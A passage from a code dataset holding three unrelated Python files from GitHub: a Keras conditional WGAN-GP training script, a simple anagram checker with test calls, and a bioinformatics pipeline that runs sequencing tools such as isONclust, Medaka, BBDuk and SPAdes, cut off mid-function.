Setup\r\n\"\"\"\r\n\r\nimport tensorflow as tf\r\nfrom tensorflow import keras\r\nfrom tensorflow.keras import layers\r\n\r\n\"\"\"\r\n## Prepare the Fashion-MNIST data\r\nTo demonstrate how to train WGAN-GP, we will be using the\r\n[Fashion-MNIST](https://github.com/zalandoresearch/fashion-mnist) dataset. Each\r\nsample in this dataset is a 28x28 grayscale image associated with a label from\r\n10 classes (e.g. trouser, pullover, sneaker, etc.)\r\n\"\"\"\r\n\"\"\"\r\n## Create the discriminator (the critic in the original WGAN)\r\nThe samples in the dataset have a (28, 28, 1) shape. Because we will be\r\nusing strided convolutions, this can result in a shape with odd dimensions.\r\nFor example,\r\n`(28, 28) -> Conv_s2 -> (14, 14) -> Conv_s2 -> (7, 7) -> Conv_s2 ->(3, 3)`.\r\nWhile peforming upsampling in the generator part of the network, we won't get \r\nthe same input shape as the original images if we aren't careful. To avoid this,\r\nwe will do something much simpler:\r\n- In the discriminator: \"zero pad\" the input to change the shape to `(32, 32, 1)`\r\nfor each sample; and\r\n- Ihe generator: crop the final output to match the shape with input shape.\r\n\"\"\"\r\n\r\n\r\ndef conv_block(\r\n        x,\r\n        filters,\r\n        activation,\r\n        kernel_size=(3, 3),\r\n        strides=(1, 1),\r\n        padding=\"same\",\r\n        use_bias=True,\r\n        use_bn=False,\r\n        use_dropout=False,\r\n        drop_value=0.5,\r\n):\r\n    x = layers.Conv2D(\r\n        filters, kernel_size, strides=strides, padding=padding, use_bias=use_bias\r\n    )(x)\r\n    if use_bn:\r\n        x = layers.BatchNormalization()(x)\r\n    x = activation(x)\r\n    if use_dropout:\r\n        x = layers.Dropout(drop_value)(x)\r\n    return x\r\n\r\n\r\ndef get_discriminator_model():\r\n    img_input = layers.Input(shape=settings.IMG_SHAPE)\r\n\r\n    x = conv_block(\r\n        img_input,\r\n        64,\r\n        kernel_size=(5, 5),\r\n        strides=(2, 2),\r\n        use_bn=False,\r\n        use_bias=True,\r\n        activation=layers.LeakyReLU(0.2),\r\n        use_dropout=False,\r\n        drop_value=0.3,\r\n    )\r\n    x = conv_block(\r\n        x,\r\n        128,\r\n        kernel_size=(5, 5),\r\n        strides=(2, 2),\r\n        use_bn=False,\r\n        activation=layers.LeakyReLU(0.2),\r\n        use_bias=True,\r\n        use_dropout=True,\r\n        drop_value=0.3,\r\n    )\r\n    x = conv_block(\r\n        x,\r\n        256,\r\n        kernel_size=(5, 5),\r\n        strides=(2, 2),\r\n        use_bn=False,\r\n        activation=layers.LeakyReLU(0.2),\r\n        use_bias=True,\r\n        use_dropout=True,\r\n        drop_value=0.3,\r\n    )\r\n    x = conv_block(\r\n        x,\r\n        512,\r\n        kernel_size=(5, 5),\r\n        strides=(2, 2),\r\n        use_bn=False,\r\n        activation=layers.LeakyReLU(0.2),\r\n        use_bias=True,\r\n        use_dropout=False,\r\n        drop_value=0.3,\r\n    )\r\n\r\n    x = layers.Flatten()(x)\r\n    x = layers.Dropout(0.2)(x)\r\n    out1 = layers.Dense(1)(x)\r\n    out2 = layers.Dense(settings.N_CLASSES, activation='softmax')(x)\r\n\r\n    d_model = keras.models.Model(img_input, [out1, out2], name=\"discriminator\")\r\n    return d_model\r\n\r\n\r\n\"\"\"\r\n## Create the generator\r\n\"\"\"\r\n\r\n\r\ndef upsample_block(\r\n        x,\r\n        filters,\r\n        activation,\r\n        kernel_size=(3, 3),\r\n        strides=(1, 1),\r\n        up_size=(2, 2),\r\n        padding=\"same\",\r\n        use_bn=False,\r\n        use_bias=True,\r\n        use_dropout=False,\r\n        drop_value=0.3,\r\n):\r\n    x = layers.UpSampling2D(up_size)(x)\r\n    x = layers.Conv2D(\r\n        filters, kernel_size, strides=strides, padding=padding, use_bias=use_bias\r\n    )(x)\r\n\r\n    if use_bn:\r\n        x = layers.BatchNormalization()(x)\r\n\r\n    if activation:\r\n        x = activation(x)\r\n    if use_dropout:\r\n        x = layers.Dropout(drop_value)(x)\r\n    return x\r\n\r\n\r\ndef get_generator_model():\r\n    quarter_size = int(settings.IMG_SIZE / 4)\r\n\r\n    in_label = layers.Input(shape=(1,))\r\n    li = layers.Embedding(settings.N_CLASSES, 100)(in_label)\r\n\r\n    n_nodes = quarter_size * quarter_size * settings.IMG_CHANNELS\r\n\r\n    li = layers.Dense(n_nodes)(li)\r\n    li = layers.Reshape((quarter_size, quarter_size, settings.IMG_CHANNELS))(li)\r\n\r\n    noise = layers.Input(shape=(settings.LATENT_DIM,))\r\n\r\n    n_nodes = 256 * quarter_size * quarter_size\r\n    x = layers.Dense(n_nodes, use_bias=False)(noise)\r\n    x = layers.BatchNormalization()(x)\r\n    x = layers.LeakyReLU(0.2)(x)\r\n\r\n    x = layers.Reshape((quarter_size, quarter_size, 256))(x)\r\n\r\n    merge = layers.Concatenate()([x, li])\r\n\r\n    x = upsample_block(\r\n        merge,\r\n        128,\r\n        layers.LeakyReLU(0.2),\r\n        strides=(1, 1),\r\n        use_bias=False,\r\n        use_bn=True,\r\n        padding=\"same\",\r\n        use_dropout=False,\r\n    )\r\n    x = upsample_block(\r\n        x,\r\n        64,\r\n        layers.LeakyReLU(0.2),\r\n        strides=(1, 1),\r\n        use_bias=False,\r\n        use_bn=True,\r\n        padding=\"same\",\r\n        use_dropout=False,\r\n    )\r\n    x = upsample_block(\r\n        merge,\r\n        32,\r\n        layers.LeakyReLU(0.2),\r\n        strides=(1, 1),\r\n        use_bias=False,\r\n        use_bn=True,\r\n        padding=\"same\",\r\n        use_dropout=False,\r\n    )\r\n    x = upsample_block(\r\n        x, settings.IMG_CHANNELS, layers.Activation(\"tanh\"), strides=(1, 1), use_bias=False, use_bn=True\r\n    )\r\n\r\n    g_model = keras.models.Model([noise, in_label], x, name=\"generator\")\r\n    return g_model\r\n\r\n\r\n\"\"\"\r\n## Create the WGAN-GP model\r\nNow that we have defined our generator and discriminator, it's time to implement\r\nthe WGAN-GP model. We will also override the `train_step` for training.\r\n\"\"\"\r\n\r\n\r\nclass WGAN(keras.Model):\r\n    def __init__(\r\n            self,\r\n            discriminator,\r\n            generator,\r\n            latent_dim,\r\n            discriminator_extra_steps=settings.N_CRITIC,\r\n            gp_weight=settings.GP_WEIGHT,\r\n    ):\r\n        super(WGAN, self).__init__()\r\n        self.discriminator = discriminator\r\n        self.generator = generator\r\n        self.latent_dim = latent_dim\r\n        self.d_steps = discriminator_extra_steps\r\n        self.gp_weight = gp_weight\r\n\r\n    def compile(self, d_optimizer, g_optimizer, d_loss_fn, g_loss_fn):\r\n        super(WGAN, self).compile()\r\n        self.d_optimizer = d_optimizer\r\n        self.g_optimizer = g_optimizer\r\n        self.d_loss_fn = d_loss_fn\r\n        self.g_loss_fn = g_loss_fn\r\n\r\n    def gradient_penalty(self, batch_size, real_images, fake_images):\r\n        \"\"\"Calculates the gradient penalty.\r\n        This loss is calculated on an interpolated image\r\n        and added to the discriminator loss.\r\n        \"\"\"\r\n        # Get the interpolated image\r\n        alpha = tf.random.normal([batch_size, 1, 1, 1], 0.0, 1.0)\r\n        diff = fake_images - real_images\r\n        interpolated = real_images + alpha * diff\r\n\r\n        with tf.GradientTape() as gp_tape:\r\n            gp_tape.watch(interpolated)\r\n            # 1. Get the discriminator output for this interpolated image.\r\n            pred = self.discriminator(interpolated, training=True)\r\n\r\n        # 2. Calculate the gradients w.r.t to this interpolated image.\r\n        grads = gp_tape.gradient(pred, [interpolated])[0]\r\n        # 3. Calculate the norm of the gradients.\r\n        norm = tf.sqrt(tf.reduce_sum(tf.square(grads), axis=[1, 2, 3]))\r\n        gp = tf.reduce_mean((norm - 1.0) ** 2)\r\n        return gp\r\n\r\n    def train_step(self, real_input):\r\n        if isinstance(real_input, tuple):\r\n            real_input = real_input[0]\r\n\r\n        (real_images, real_labels) = real_input\r\n\r\n        # Get the batch size\r\n        batch_size = tf.shape(real_images)[0]\r\n\r\n        # For each batch, we are going to perform the\r\n        # following steps as laid out in the original paper:\r\n        # 1. Train the generator and get the generator loss\r\n        # 2. Train the discriminator and get the discriminator loss\r\n        # 3. Calculate the gradient penalty\r\n        # 4. Multiply this gradient penalty with a constant weight factor\r\n        # 5. Add the gradient penalty to the discriminator loss\r\n        # 6. Return the generator and discriminator losses as a loss dictionary\r\n\r\n        # Train the discriminator first. The original paper recommends training\r\n        # the discriminator for `x` more steps (typically 5) as compared to\r\n        # one step of the generator. Here we will train it for 3 extra steps\r\n        # as compared to 5 to reduce the training time.\r\n        for i in range(self.d_steps):\r\n            # Get the latent vector\r\n            random_latent_vectors = tf.random.normal(\r\n                shape=(batch_size, self.latent_dim)\r\n            )\r\n            random_image_labels = tf.random.uniform(\r\n                shape=(batch_size, 1,), maxval=settings.N_CLASSES - 1, dtype=tf.dtypes.int32\r\n            )\r\n            with tf.GradientTape() as tape:\r\n                # Generate fake images from the latent vector\r\n                fake_images = self.generator([random_latent_vectors, random_image_labels], training=True)\r\n                # Get the logits for the fake images\r\n                fake_logits = self.discriminator(fake_images, training=True)\r\n                # Get the logits for the real images\r\n                real_logits = self.discriminator(real_images, training=True)\r\n\r\n                # Calculate the discriminator loss using the fake and real image logits\r\n                d_cost = self.d_loss_fn(real_logits, fake_logits, real_labels)\r\n                # Calculate the gradient penalty\r\n                gp = self.gradient_penalty(batch_size, real_images, fake_images)\r\n                # Add the gradient penalty to the original discriminator loss\r\n                d_loss = d_cost + gp * self.gp_weight\r\n\r\n            # Get the gradients w.r.t the discriminator loss\r\n            d_gradient = tape.gradient(d_loss, self.discriminator.trainable_variables)\r\n            # Update the weights of the discriminator using the discriminator optimizer\r\n            self.d_optimizer.apply_gradients(\r\n                zip(d_gradient, self.discriminator.trainable_variables)\r\n            )\r\n\r\n        # Train the generator\r\n        # Get the latent vector\r\n        random_latent_vectors = tf.random.normal(shape=(batch_size, self.latent_dim))\r\n        random_image_labels = tf.random.uniform(shape=(batch_size, 1,), maxval=settings.N_CLASSES - 1,\r\n                                                dtype=tf.dtypes.int32)\r\n        with tf.GradientTape() as tape:\r\n            # Generate fake images using the generator\r\n            generated_images = self.generator([random_latent_vectors, random_image_labels], training=True)\r\n            # Get the discriminator logits for fake images\r\n            gen_img_logits = self.discriminator(generated_images, training=True)\r\n            # Calculate the generator loss\r\n            g_loss = self.g_loss_fn(gen_img_logits, random_image_labels)\r\n\r\n        # Get the gradients w.r.t the generator loss\r\n        gen_gradient = tape.gradient(g_loss, self.generator.trainable_variables)\r\n        # Update the weights of the generator using the generator optimizer\r\n        self.g_optimizer.apply_gradients(\r\n            zip(gen_gradient, self.generator.trainable_variables)\r\n        )\r\n        return {\"d_loss\": d_loss, \"g_loss\": g_loss}\r\n\r\n\r\n# Define the loss functions for the discriminator,\r\n# which should be (fake_loss - real_loss).\r\n# We will add the gradient penalty later to this loss function.\r\ndef discriminator_loss(real_logits, fake_logits, real_labels_true):\r\n    (real_img, real_labels_pred) = real_logits\r\n    (fake_img, fake_labels_pred) = fake_logits\r\n    real_loss = tf.reduce_mean(real_img)\r\n    fake_loss = tf.reduce_mean(fake_img)\r\n    scce = tf.keras.losses.SparseCategoricalCrossentropy(from_logits=False)\r\n    label_loss = scce(real_labels_true, real_labels_pred)\r\n    return fake_loss - real_loss + label_loss\r\n\r\n\r\n# Define the loss functions for the generator.\r\ndef generator_loss(fake_logits, fake_labels_true):\r\n    (fake_img, fake_labels_pred) = fake_logits\r\n    scce = tf.keras.losses.SparseCategoricalCrossentropy(from_logits=False)\r\n    label_loss = scce(fake_labels_true, fake_labels_pred)\r\n    return -tf.reduce_mean(fake_img) + label_loss\r\n\r\n\r\n\"\"\"\r\n## Create a Keras callback that periodically saves generated images\r\n\"\"\"\r\n\r\n\r\nclass GANMonitor(keras.callbacks.Callback):\r\n    def __init__(self, num_img=settings.N_CLASSES, latent_dim=128, ckpt_manager=None):\r\n        self.num_img = num_img\r\n        self.latent_dim = latent_dim\r\n        self.ckpt_manager = ckpt_manager\r\n\r\n    def on_epoch_end(self, epoch, logs=None):\r\n        tf.random.set_seed(0)\r\n        random_latent_vectors = tf.random.normal(shape=(self.num_img, self.latent_dim), seed=0)\r\n        class_labels_vectors = tf.range(0, min(self.num_img, settings.N_CLASSES))\r\n        generated_images = self.model.generator([random_latent_vectors, class_labels_vectors])\r\n        generated_images = (generated_images * 127.5) + 127.5\r\n\r\n        if not os.path.isdir(\"./generated/\"):\r\n            os.mkdir(\"./generated/\")\r\n\r\n        if not self.ckpt_manager == None:\r\n            self.ckpt_manager.save(checkpoint_number=epoch)\r\n\r\n        for i in range(self.num_img):\r\n            img = generated_images[i].numpy()\r\n            img = keras.preprocessing.image.array_to_img(img)\r\n            img.save(\"./generated/Class_{i}_Epoch_{epoch}.png\".format(i=i, epoch=epoch))\r\n\r\n\r\ndef main():\r\n    BATCH_SIZE = settings.BATCH_SIZE\r\n\r\n    # Size of the noise vector\r\n    noise_dim = settings.LATENT_DIM\r\n\r\n    (train_images, train_labels) = custom_dataset.get_wikiart_dataset()\r\n    print(f\"Number of examples: {len(train_images)}\")\r\n    print(f\"Shape of the images in the dataset: {train_images.shape[1:]}\")\r\n\r\n    # Reshape each sample and normalize the pixel values in the [-1, 1] range\r\n    train_images = train_images.reshape(train_images.shape[0], *settings.IMG_SHAPE).astype(\"float32\")\r\n    train_images = (train_images - 127.5) / 127.5\r\n\r\n    g_model = get_generator_model()\r\n    g_model.summary()\r\n\r\n    d_model = get_discriminator_model()\r\n    d_model.summary()\r\n\r\n    \"\"\"\r\n    ## Train the end-to-end model\r\n    \"\"\"\r\n\r\n    # Instantiate the optimizer for both networks\r\n    # (learning_rate=0.0002, beta_1=0.5 are recommended)\r\n    generator_optimizer = keras.optimizers.Adam(\r\n        learning_rate=settings.LEARNING_RATE, beta_1=settings.BETA_1, beta_2=settings.BETA_2\r\n    )\r\n    discriminator_optimizer = keras.optimizers.Adam(\r\n        learning_rate=settings.LEARNING_RATE, beta_1=settings.BETA_1, beta_2=settings.BETA_2\r\n    )\r\n\r\n    # Set the number of epochs for training.\r\n    if settings.USE_EPOCHS:\r\n        epochs = settings.EPOCHS\r\n    else:\r\n        epochs = int(settings.NUM_IMAGES_TOTAL / len(train_images))\r\n\r\n    # Get the wgan model\r\n    wgan = WGAN(\r\n        discriminator=d_model,\r\n        generator=g_model,\r\n        latent_dim=noise_dim,\r\n    )\r\n\r\n    # Compile the wgan model\r\n    wgan.compile(\r\n        d_optimizer=discriminator_optimizer,\r\n        g_optimizer=generator_optimizer,\r\n        g_loss_fn=generator_loss,\r\n        d_loss_fn=discriminator_loss,\r\n    )\r\n\r\n    checkpoint_dir = './generated/checkpoints'\r\n    checkpoint = tf.train.Checkpoint(wgan=wgan)\r\n\r\n    ckpt_manager = tf.train.CheckpointManager(checkpoint, checkpoint_dir, max_to_keep=3)\r\n\r\n    start_epoch = 0\r\n    if ckpt_manager.latest_checkpoint:\r\n        checkpoint.restore(ckpt_manager.latest_checkpoint)\r\n        start_epoch = int(ckpt_manager.latest_checkpoint[len('./generated/checkpoints\\\\ckpt-'):])\r\n        start_epoch = start_epoch + 1\r\n        print('Latest checkpoint restored at epoch: ' + str(start_epoch))\r\n\r\n    # Instantiate the customer `GANMonitor` Keras callback.\r\n    cbk = GANMonitor(num_img=settings.N_CLASSES, latent_dim=noise_dim, ckpt_manager=ckpt_manager)\r\n    csv_logger = tf.keras.callbacks.CSVLogger(\"./generated/log.csv\", append=True, separator=',')\r\n    tensorboard_logger = tf.keras.callbacks.TensorBoard(log_dir='./generated/logs', histogram_freq=1, write_graph=True,\r\n                                                        write_images=False)\r\n\r\n    # Start training\r\n    input = (train_images, train_labels)\r\n    wgan.fit(input, batch_size=BATCH_SIZE, initial_epoch=start_epoch, epochs=epochs,\r\n             callbacks=[cbk, csv_logger, tensorboard_logger])\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","repo_name":"MoritzGr/MA-GANs","sub_path":"ACWGAN_GP.py","file_name":"ACWGAN_GP.py","file_ext":"py","file_size_in_byte":17491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"25932591467","text":"# Check if two words are anagrams \n# Example:\n# find_anagrams(\"hello\", \"check\") --> False\n# find_anagrams(\"below\", \"elbow\") --> True\n\n\ndef find_anagrams(word, anagram):\n    # clean up symbols and convert to lowercase\n    word = word.replace(\"'\", \"\").replace(\"-\",\"\").replace(\"_\",\"\").replace(\" \",\"\").lower()\n    anagram = anagram.replace(\"'\", \"\").replace(\"-\",\"\").replace(\"_\",\"\").replace(\" \",\"\").lower()\n    # check if all letters exist in each both lists, length of characters must be equal\n    anagramList= list(anagram)\n    wordList = list(word)\n    check = False\n    if len([i for i in wordList if i != ' ']) == len([i for i in anagramList if i != ' ']):\n        check = all([True if i in anagramList else False for i in wordList])\n\n    return check\n\n\n# Test Anagrams\nanagram1 = find_anagrams(\"below\",\"elbow\")\nprint(anagram1)\nanagram2 = find_anagrams(\"hello\", \"check\")\nprint(anagram2)\nanagram3 = find_anagrams(\"rescue\", \"secure\")\nprint(anagram3)\nanagram4 = find_anagrams(\"aide\", \"idea\")\nprint(anagram4)\nanagram5 = find_anagrams(\"diagnose\", \"san diego\")\nprint(anagram5)\nanagram6 = find_anagrams(\"a decimal point\", \"i'm a dot in place\")\nprint(anagram6)\nanagram7 = find_anagrams(\"dynamite\", \"may it end\")\nprint(anagram7)\nanagram8 = find_anagrams(\"eleven plus two\", \"twelve plus one\")\nprint(anagram8)\nanagram9 = find_anagrams(\"hitler woman\", \"mother-in-law\")\nprint(anagram9)","repo_name":"SanCrystal/finding-anagrams","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31629314754","text":"import os\r\nimport sys\r\nimport subprocess\r\nimport argparse\r\nimport datetime\r\nimport statistics\r\nimport math\r\n\r\nfrom pathlib import Path\r\nfrom Bio import SeqIO\r\n\r\ndef main():\r\n\r\n\t# Script version\r\n\trca_version = 1\r\n\r\n\t# Input arguments\r\n\toptions = parse_arguments()\r\n\r\n\t### Nanopore Pipeline\r\n\tif(sys.argv[1] == \"nanopore\"):\r\n\r\n\t\t# Directory list to create\r\n\t\tdirs = [\"Ashure\",\r\n\t\t\t\t\"isONclust\",\r\n\t\t\t\t\"RCA_fastq\",\r\n\t\t\t\t\"Final_consensus\"\r\n\t\t\t]\r\n\r\n\t\tif options.create_dirs == \"Y\":\r\n\t\t\tcreate_dirs(options.output, dirs)\r\n\r\n\t\tif options.ashure == \"Y\":\r\n\t\t\trun_ashure(options.input, options.output, options.ashure_path, options.ictv_db)\r\n\t\t\textract_fastq(f\"{options.output}/Ashure/\", f\"{options.output}/RCA_fastq/\")\r\n\r\n\t\tif options.isonclust == \"Y\":\r\n\t\t\trun_isonclust(f\"{options.output}/RCA_fastq/\", f\"{options.output}/isONclust/\", options.threads, options.quality_score)\r\n\r\n\t\tif options.medaka == \"Y\":\r\n\t\t\tget_rep_seq(f\"{options.output}/isONclust/\")\r\n\t\t\trun_medaka(f\"{options.output}/isONclust/\", f\"{options.output}/Final_consensus/\", options.threads)\r\n\r\n\t\tif options.doc_env == \"Y\":\r\n\t\t\tdocument_env(\"RCA_nanopore\", rca_version, options.output, options)\r\n\r\n\t### Illumina Pipeline\r\n\tif(sys.argv[1] == \"illumina\"):\r\n\r\n\t\t# Directory list to create\r\n\t\tdirs = [\"Bbduk\",\r\n\t\t\t\t\"Spades\",\r\n\t\t\t\t\"Virus_detection/1.Putative_contigs\",\r\n\t\t\t\t\"Virus_detection/2.Mummer\",\r\n\t\t\t\t\"Virus_detection/3.Final_sequences\"\r\n\t\t\t]\r\n\r\n\t\tif options.create_dirs == \"Y\":\r\n\t\t\tcreate_dirs(options.output, dirs)\r\n\r\n\t\tif options.bbduk == \"Y\":\r\n\t\t\trun_bbduk(options.input, f\"{options.output}/Bbduk/\", options.min_len, options.adapters, options.min_quality)\r\n\r\n\t\tif options.spades == \"Y\":\r\n\t\t\trun_spades(f\"{options.output}/Bbduk/\", f\"{options.output}/Spades/\", options.threads, options.memory)\r\n\r\n\t\tif options.virus_detection == \"Y\":\r\n\t\t\textract_viruses(f\"{options.output}/Spades/\", f\"{options.output}/Virus_detection/1.Putative_contigs/\", 700)\r\n\t\t\trun_mummer(f\"{options.output}/Virus_detection/1.Putative_contigs/\", f\"{options.output}/Virus_detection/2.Mummer/\", f\"{options.output}/Virus_detection/3.Final_sequences/\")\r\n\r\n\t\tif options.doc_env == \"Y\":\r\n\t\t\tdocument_env(\"RCA_illumina\", rca_version, options.output, options)\r\n\r\n\t\t\r\n\r\n################################################################################\r\ndef create_dirs(output_dir, dirs):\r\n\r\n\t# Create the directories if they do not exist\r\n\tfor directory in dirs:\r\n\t\tPath(output_dir, directory).mkdir(exist_ok = True, parents = True)\r\n\r\n\tprint(\"Directory creation completed.\")\r\n\r\n################################################################################\r\ndef run_ashure(input_dir, output_dir, ashure, database):\r\n\r\n\t# Run Ashure and move the output files as required\r\n\tfor file in os.listdir(input_dir):\r\n\t\tsample_name = file.split(\".\")[0]\r\n\t\tsubprocess.call(f\"python {ashure} run -fq {Path(input_dir, file)} -db {database} -o1 {input_dir}/Ashure/{sample_name}_consensus.csv -r fgs,msa\", shell = True)\r\n\t\tos.rename(\"frags\", f\"{output_dir}/Ashure/{sample_name}_frags/\")\r\n\t\tos.rename(\"msa\", f\"{output_dir}/Ashure/{sample_name}_msa/\")\r\n\t\tos.rename(\"ashure.log\", f\"{output_dir}/Ashure/{sample_name}.log\")\r\n\r\n################################################################################\r\ndef extract_fastq(input_dir, output_dir):\r\n\r\n\t# Extract the fastq files and zip them\r\n\tfor file in os.listdir(input_dir):\r\n\t\tif file.endswith(\"_msa\"):\r\n\t\t\tsample_name = file.split(\"_\")[0]\r\n\t\t\tsubprocess.call(f\"cat {input_dir}/{file}/*.fq > {output_dir}/{sample_name}.fastq\", shell = True)\r\n\r\n################################################################################\r\ndef run_isonclust(input_dir, output_dir, threads, quality_score):\r\n\r\n\tfor file in os.listdir(input_dir):\r\n\t\tsample_name = file.split(\".\")[0]\r\n\t\tsubprocess.call(f\"isONclust --fastq {input_dir}/{file} --t {threads} --q {quality_score} --outfolder {output_dir}/{sample_name}/\", shell = True)\r\n\r\n\t\t# For each fasta file, work out what 10% of the reads is at set as a threshold\r\n\t\tmin_cluster_reads = 0\r\n\t\twith open(f\"{output_dir}/{sample_name}/final_clusters.tsv\") as clusters_tsv:\r\n\t\t\tlargest_cluster_count = 0\r\n\t\t\tfor line in clusters_tsv:\r\n\t\t\t\tline = line.split(\"\\t\")[0]\r\n\t\t\t\tif line == \"0\":\r\n\t\t\t\t\tlargest_cluster_count += 1\r\n\t\t\t\telse:\r\n\t\t\t\t\tmin_cluster_reads = int(round(largest_cluster_count * 0.1))\r\n\t\t\t\t\tbreak\r\n\r\n\t\tsubprocess.call(f\"isONclust write_fastq --clusters {output_dir}/{sample_name}/final_clusters.tsv --N {min_cluster_reads} --fastq {input_dir}/{file} --outfolder {output_dir}/{sample_name}/Clusters_fastq\", shell = True)\r\n\r\n################################################################################\r\ndef get_rep_seq(input_dir):\r\n\r\n\tfor file in os.listdir(input_dir):\r\n\t\tsample_name = file.split(\".\")[0]\r\n\t\tcreate_dirs(f\"{input_dir}/{sample_name}/\", [\"Rep_seq\"])\r\n\r\n\t\t# Read through each fasta file\r\n\t\tfor cluster in os.listdir(f\"{input_dir}/{sample_name}/Clusters_fastq/\"):\r\n\t\t\tkmer_size = 4\r\n\t\t\tfor record in SeqIO.parse(f\"{input_dir}/{sample_name}/Clusters_fastq/{cluster}\", \"fastq\"):\r\n\t\t\t\tkmer_dict = {}\r\n\t\t\t\tn_kmers = len(record.seq) - kmer_size + 1\r\n\r\n\t\t\t\tfor i in range(n_kmers):\r\n\t\t\t\t\tkmer = record.seq[i:i + kmer_size]\r\n\t\t\t\t\tif str(kmer) in kmer_dict:\r\n\t\t\t\t\t\tkmer_dict[str(kmer)] += 1\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tkmer_dict.setdefault(str(kmer), 1)\r\n\r\n\t\t\t\t# Calculate Kmers\r\n\t\t\t\trepseq_check = \"Y\"\r\n\t\t\t\tmean_kmer = round(statistics.mean(kmer_dict.values()))\r\n\t\t\t\tfor k in kmer_dict:\r\n\t\t\t\t\tif kmer_dict[k] > (mean_kmer * 10):\r\n\t\t\t\t\t\t# print(f\"FAIL:\t{sample_name}\t{cluster}\")\r\n\t\t\t\t\t\t# print(kmer_dict.values())\r\n\t\t\t\t\t\trepseq_check = \"N\"\r\n\t\t\t\t\t\tbreak\r\n\r\n\t\t\t\tif repseq_check == \"Y\":\r\n\t\t\t\t\t# print(f\"PASS:\t{sample_name}\t{cluster}\")\r\n\t\t\t\t\t# print(record.description)\r\n\t\t\t\t\t# print(record.seq)\r\n\r\n\t\t\t\t\twith open(f\"{input_dir}/{sample_name}/Rep_seq/{cluster.split('.')[0]}.fasta\", \"w\") as rep_seq_out:\r\n\t\t\t\t\t\tSeqIO.write(record, rep_seq_out, \"fasta\")\r\n\r\n\t\t\t\t\tbreak\r\n\r\n################################################################################\r\ndef run_medaka(input_dir, output_dir, threads):\r\n\r\n\tfor file in os.listdir(input_dir):\r\n\t\tsample_name = file.split(\".\")[0]\r\n\t\tcreate_dirs(f\"{input_dir}/{sample_name}/\", [\"Medaka\"])\r\n\r\n\t\t# Generate consensus sequences\r\n\t\tfor repseq in os.listdir(f\"{input_dir}/{sample_name}/Rep_seq/\"):\r\n\t\t\tdraft_seq = f\"{input_dir}/{sample_name}/Rep_seq/{repseq}\"\r\n\t\t\tcluster_id = repseq.split(\".\")[0]\r\n\t\t\tinput_cluster = f\"{input_dir}/{sample_name}/Clusters_fastq/{cluster_id}.fastq\"\r\n\t\t\tmedaka_output = f\"{input_dir}/{sample_name}/Medaka/{cluster_id}/\"\r\n\r\n\t\t\tsubprocess.call(f\"medaka_consensus -i {input_cluster} -d {draft_seq} -t {threads} -o {medaka_output}\", shell = True)\r\n\r\n\t\t# Rename and relocate consensus sequences\r\n\t\twith open(f\"{output_dir}/{sample_name}.fasta\", \"w\") as consensus_out:\r\n\t\t\tfor consensus in sorted(os.listdir(f\"{input_dir}/{sample_name}/Medaka/\")):\r\n\t\t\t\tfor record in SeqIO.parse(f\"{input_dir}/{sample_name}/Medaka/{consensus}/consensus.fasta\", \"fasta\"):\r\n\t\t\t\t\tconsensus_out.write(f\">cluster_{consensus}_consensus\\n\")\r\n\t\t\t\t\tconsensus_out.write(f\"{record.seq}\\n\")\r\n\r\n################################################################################\r\ndef run_bbduk(input_dir, output_dir, min_len, adapters, min_quality):\r\n\r\n\tfor file in os.listdir(input_dir):\r\n\t\tif(\"_R1\" in file):\r\n\t\t\tfile_R1 = file.split(\".\")[0]\r\n\t\t\tfile_R2 = file.replace(\"R1\", \"R2\").split(\".\")[0]\r\n\t\t\tinfile_R1 = f\"{input_dir}/{file_R1}.fastq.gz\"\r\n\t\t\tinfile_R2 = f\"{input_dir}/{file_R2}.fastq.gz\"\r\n\t\t\toutfile_R1 = f\"{output_dir}/{file_R1.replace('_L001_R1_001', '_R1')}_trimmed.fastq.gz\"\r\n\t\t\toutfile_R2 = f\"{output_dir}/{file_R2.replace('_L001_R2_001', '_R2')}_trimmed.fastq.gz\"\r\n\t\t\t\r\n\t\t\tsubprocess.call(f\"bbduk.sh in1={infile_R1} in2={infile_R2} out1={outfile_R1} out2={outfile_R2} minlen={min_len} ktrim=r k=23 mink=11 hdist=1 ref={adapters} qtrim=r trimq={min_quality} ziplevel=5\", shell = True)\r\n\r\n################################################################################\r\ndef run_spades(input_dir, output_dir, threads, memory):\r\n\r\n\tfor file in os.listdir(input_dir):\r\n\t\tif(\"_R1\" in file):\r\n\t\t\tsample_name = file.split(\"_\")[0]\r\n\t\t\tfile_R1 = file.split(\".\")[0]\r\n\t\t\tfile_R2 = file.replace(\"R1\", \"R2\").split(\".\")[0]\r\n\t\t\tinfile_R1 = f\"{input_dir}/{file_R1}.fastq.gz\"\r\n\t\t\tinfile_R2 = f\"{input_dir}/{file_R2}.fastq.gz\"\r\n\t\t\toutfile = f\"{output_dir}/{sample_name}\"\r\n\r\n\t\t\tsubprocess.call(f\"spades.py --meta -1 {infile_R1} -2 {infile_R2} -o {outfile} -t {threads} -m {memory}\", shell = True)\r\n\r\n################################################################################\r\ndef extract_viruses(input_dir, output_dir, min_virus_len):\r\n\r\n\tfor file in os.listdir(input_dir):\r\n\t\tsample_name = file\r\n\t\tcreate_dirs(f\"{output_dir}/\", [sample_name])\r\n\r\n\t\tseq_dict = {}\r\n\t\tmax_cov = 0\r\n\t\tfor record in SeqIO.parse(f\"{input_dir}/{sample_name}/contigs.fasta\", \"fasta\"):\r\n\t\t\tseq_dict.setdefault(record.description, str(record.seq))\r\n\t\t\tif float(record.description.split(\"_\")[5]) > max_cov:\r\n\t\t\t\tmax_cov = float(record.description.split(\"_\")[5])\r\n\r\n\t\tfor seq in seq_dict:\r\n\t\t\tif float(seq.split(\"_\")[5]) >= (max_cov * 0.1):\r\n\t\t\t\tif len(seq_dict[seq]) >= 700:\r\n\t\t\t\t\twith open(f\"{output_dir}/{sample_name}/{seq}.fasta\", \"w\") as out_fasta:\r\n\t\t\t\t\t\tout_fasta.write(f\">{seq}\\n\")\r\n\t\t\t\t\t\tout_fasta.write(f\"{seq_dict[seq]}\\n\")\r\n\r\n################################################################################\r\ndef run_mummer(input_dir, mummer_output_dir, fasta_output_dir):\r\n\r\n\tfor sample in os.listdir(input_dir):\r\n\t\tsample_name = sample.split(\".\")[0]\r\n\t\tcreate_dirs(f\"{mummer_output_dir}/\", 